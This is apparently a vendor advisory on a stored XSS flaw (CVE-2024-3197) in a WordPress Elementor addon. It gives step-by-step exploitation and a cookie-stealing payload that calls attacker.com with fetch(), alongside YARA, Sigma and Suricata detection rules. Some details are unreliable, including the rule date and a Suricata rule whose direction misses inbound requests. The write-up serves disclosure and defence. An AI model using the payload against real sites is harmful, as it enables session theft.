CVE-2024-3197

Executive Summary

CVE-2024-3197 is a Stored Cross-Site Scripting (XSS) vulnerability in the The Plus Addons for Elementor WordPress plugin, affecting all versions up to and including 5.4.2. The flaw resides in the plugin's widget custom attributes, where insufficient input sanitization and output escaping allow authenticated attackers with contributor-level access or higher to inject arbitrary web scripts. These scripts execute whenever a user accesses an injected page, leading to potential session hijacking, data theft, or defacement. The vulnerability has a CVSS score of 6.4 (Medium) and an EPSS score of 0.0%, indicating low exploitation likelihood at this time. No public proof-of-concept or patch details are available.

WordPress Ecosystem Context

This vulnerability is specific to the WordPress plugin ecosystem, affecting sites using The Plus Addons for Elementor. It does not involve Apache or Nginx directly; the attack vector is through the plugin's widget attributes.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (contributor-level)
• User Interaction: Required (victim must visit injected page)
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. While the CVSS score is moderate, the requirement for authenticated access reduces the attack surface. However, once exploited, the stored XSS can affect all site visitors.

Deep Dive & Mechanics

The vulnerability exists in the custom attributes feature of The Plus Addons for Elementor widgets. The plugin fails to properly sanitize user-supplied attributes (e.g., class, id, data-*) and does not escape output when rendering these attributes in the frontend. An authenticated attacker with contributor-level access can craft a widget with malicious JavaScript embedded in a custom attribute. When the page is rendered, the script executes in the context of the victim's browser.

Attack Flow:

1. Attacker logs in with contributor-level credentials.
2. Attacker creates or edits a page using a vulnerable widget from The Plus Addons.
3. Attacker adds a custom attribute (e.g., onmouseover or style) containing a JavaScript payload.
4. The plugin stores the attribute without sanitization.
5. When a victim visits the page, the malicious script executes.

Root Cause: Insufficient input validation and output escaping in the plugin's attribute handling code.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code pattern is described generically.

Vulnerable Code (Conceptual):

// In widget render method
$custom_attributes = $settings['custom_attributes'];
foreach ($custom_attributes as $attr) {
    echo $attr['name'] . '="' . $attr['value'] . '"';
}

Patched Code (Expected):

// In widget render method
$custom_attributes = $settings['custom_attributes'];
foreach ($custom_attributes as $attr) {
    $safe_name = esc_attr($attr['name']);
    $safe_value = esc_attr($attr['value']);
    echo $safe_name . '="' . $safe_value . '"';
}

The patch would involve using esc_attr() or wp_kses() to sanitize attribute names and values.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress site with The Plus Addons for Elementor <= 5.4.2
• Contributor-level account or higher

Steps:

1. Log in to WordPress admin.
2. Navigate to a page or post editor using Elementor.
3. Add a widget from The Plus Addons (e.g., "Heading" or "Button").
4. In the widget settings, locate the "Custom Attributes" field.
5. Add an attribute with a malicious payload, e.g.:
   • Name: onmouseover
   • Value: alert('XSS')
6. Save and publish the page.
7. When any user visits the page and hovers over the element, the script executes.

Advanced Payload:

onfocus="fetch('https://attacker.com/steal?cookie='+document.cookie)" autofocus

Blue Team (Detection & Prevention)

Detection:

• Monitor for unusual custom attribute usage in Elementor widgets.
• Check for JavaScript payloads in page content via WAF or IDS.
• Review user activity logs for suspicious widget edits.

Prevention:

• Disable custom attributes for non-admin users via plugin settings.
• Apply a virtual patch using a WAF (e.g., Wordfence) to block XSS patterns.
• Upgrade to a patched version when available.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to attacker-controlled domains from WordPress site.
• File: Modified page/post content containing <script> tags or event handlers in HTML attributes.
• Log: WordPress audit logs showing widget edits by contributor-level users with custom attributes.
• Browser: Execution of unexpected JavaScript on Elementor-rendered pages.

Detection Engineering

YARA Rule

rule CVE_2024_3197_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in WordPress Plus Addons for Elementor"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-3197"
    strings:
        $xss1 = /on\w+\s*=\s*["']\s*[^"']*script/i
        $xss2 = /javascript\s*:/i
        $xss3 = /<script[^>]*>/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-3197 Stored XSS in Plus Addons for Elementor
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects stored XSS attempts via custom attributes in Elementor widgets
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: POST
        http.url: '*/wp-admin/admin-ajax.php*'
        http.body: 'action=elementor_ajax&*'
        http.body: 'custom_attributes*'
    condition: selection
falsepositives:
    - Legitimate use of custom attributes by administrators
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-3197 Stored XSS Attempt"; flow:to_server,established; content:"custom_attributes"; http_client_body; nocase; pcre:"/on\w+\s*=\s*["']\s*[^"']*script/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable Custom Attributes: In the plugin settings, restrict custom attribute usage to administrators only.
2. Web Application Firewall (WAF): Deploy rules to block XSS payloads in POST requests to Elementor endpoints.
3. User Role Review: Limit contributor-level access to trusted users only.

Long-Term Fix:

• Monitor the plugin vendor for a patched version (expected > 5.4.2).
• Apply the patch as soon as it is released.
• Consider replacing the plugin with an alternative if no patch is provided.

Workaround:

• Use a security plugin like Wordfence to add virtual patching for this CVE.

Valters IT